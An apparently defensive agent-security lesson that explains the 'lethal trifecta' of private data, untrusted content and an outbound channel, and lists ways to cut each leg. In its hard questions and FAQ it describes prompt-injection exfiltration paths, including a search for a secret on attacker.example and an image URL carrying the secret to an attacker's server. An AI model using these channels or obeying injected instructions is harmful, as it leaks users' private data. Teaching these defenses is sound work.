Agent securityMiddleLesson 116 min read

The lethal trifecta

Three capabilities that are each perfectly fine on their own. Put all three in one agent and you have built a data-theft machine. Flip the switches and watch.

🧪 Lab · 15 min📝 Lesson test
Lesson in motion

In 60 seconds

The lethal trifecta

Three capabilities that are each perfectly fine on their own. Put all three in one agent and you have built a data-theft machine. Flip the switches and watch.

1/7
In simple words
One key opens the safe. One door leads outside. One stranger can shout instructions through the window. Any one of those is fine. All three together means your safe is empty by morning.
This framing comes from security researcher Simon Willison, and it is the single most useful thing to memorise in this whole guide. Three ingredients:

Interactive · build the trifecta

0 of 3 switched on.Turn them on one at a time. Notice that nothing alarming happens until the third — which is precisely why nobody notices building it.

Why all three are needed

  1. 1

    Access to private data

    Something worth stealing: your files, your emails, your customer database, your source code, your API keys.
  2. 2

    Exposure to untrusted content

    A way for an attacker's words to reach the model: the open web, incoming email, uploaded files, public issues, third-party tools.
  3. 3

    The ability to communicate out

    Any channel that carries information away: sending email, posting, writing to a public place, or even just loading an image from a URL.
  4. 4

    Remove any one

    The attack stops. Not gets harder — stops. There is either nothing to steal, no way to give the order, or no way to carry the loot out.
Danger
The trap is that each ingredient is added by a different person, in a different sprint, for a perfectly good reason. Nobody ever decides to build the trifecta. It assembles itself.

Real shapes it takes

AgentPrivate dataUntrusted contentWay out
Email assistantYour whole inboxAny email anyone sends youIt can send email
Coding agentSource code and .env secretsIssues, PRs, dependency docsIt can push, or make network calls
Browsing assistantYour logged-in sessionsEvery page it visitsIt can navigate to any URL
Support agentThe customer databaseIncoming ticketsIt can reply to tickets
Personal assistantCalendar, contacts, filesInvites, shared docsIt can message and share
Watch out
Look at the email assistant row. That is the most-requested AI feature in the world, and it is a complete trifecta on day one. This is why "AI that reads and sends your email" remains genuinely hard to do safely.

Cutting a leg off

Ways to cut the data leg
  • Give the agent a scoped, read-only view instead of the whole store.
  • Redact secrets before they ever reach the model.
  • Separate sessions so one user's data never sits beside another's.
  • Fetch data only after the plan is fixed, never before.
Ways to cut the exit leg
  • Allow-list outbound domains — nothing else resolves.
  • Ban auto-loading remote images and links in rendered output.
  • Human approval on every send, post or push.
  • No free-text URLs: the agent picks from a fixed list.
Do this
The exit leg is usually the cheapest one to cut, and cutting it protects you even when the injection succeeds. An attacker who owns your agent but cannot get one byte out has achieved very little.

Watch and read more

The lethal trifecta for AI agentsSimon Willison · readingLethal trifecta explainedYouTube search

Lab

Trifecta audits of four real systems, and the cheapest leg to cut in each.

~15 min

The problem

Audit four systems for the three legs — an email assistant, a coding agent, a customer support bot, and something you have actually built. For each, list the specific data, the specific untrusted input path, and every outbound channel including image loading and search. Then pick the cheapest leg to cut and say what it costs the product.

You are done when

Hard questions

Try to answer before you reveal. If you can answer these, you understood the lesson.

Q1A read-only agent with no email, no writes, no posting. Only web search. Prove data can still escape, with a mechanism.Reveal
The search query is an outbound request. The agent searches for the secret; the search provider logs it. Sharper: an attacker registers a domain and a page optimised for a rare string, instructs the agent to search for <secret> site:attacker.example, and reads the referrer or the query in their own logs. Even a boolean channel leaks a key given enough queries, and agents make many queries.
Q2Your team must ship an email assistant — all three legs, non-negotiable. Design the strongest system you can and state the residual risk plainly.Reveal
Strict outbound allow-list at the network layer with DNS locked down; the drafting agent reads mail but holds no send tool; sending is a separate step over a structured object, never free text; human approval on every send with recipient and body shown from the actual arguments; no auto-loading of remote images anywhere in the render path; per-hour caps on sends and recipients; full logging with the source that influenced each draft; canary tokens in the mailbox with alerts if one ever leaves. Residual risk, stated plainly: a user who approves without reading is one click from exfiltration, and social engineering of that click is now your main threat. You have moved the attack from the machine to the human — which is progress, not a solution.

Please sign in to continue.

Questions people ask

What if I only have two of the three?

You are in decent shape, and you should write down which leg is missing and defend it deliberately — because the third leg gets added by accident. A ticket titled "let the assistant send a summary email" is a trifecta being completed.

Is loading an image really a way out?

Yes, and it is the classic one. The model writes an image tag pointing at attacker.example/log?d=SECRET. The chat client renders it, your browser fetches it, and the secret is now in the attacker's web server logs. No click required. Module 12 covers this family.

Does an approval click fix it?

Only if the human can actually understand what they are approving. "Allow network request?" trains people to click yes. "Send your last 40 emails to unknown-domain.example?" does not.

Can I keep all three if I'm careful?

Sometimes, with serious engineering: strict outbound allow-lists, structured-only data flow, per-action approval, and heavy monitoring. It is expensive and it is never fully safe. Cut a leg if you possibly can.

Where did this idea come from?

Simon Willison coined "the lethal trifecta" in June 2025 as a way to explain the pattern to non-specialists. It caught on because it turns a fuzzy risk into a checklist anyone can run.

Lesson test

5 questions. Get 3 right (60%) to pass and complete this lesson.

Sign in with your phone number to take the test and save your progress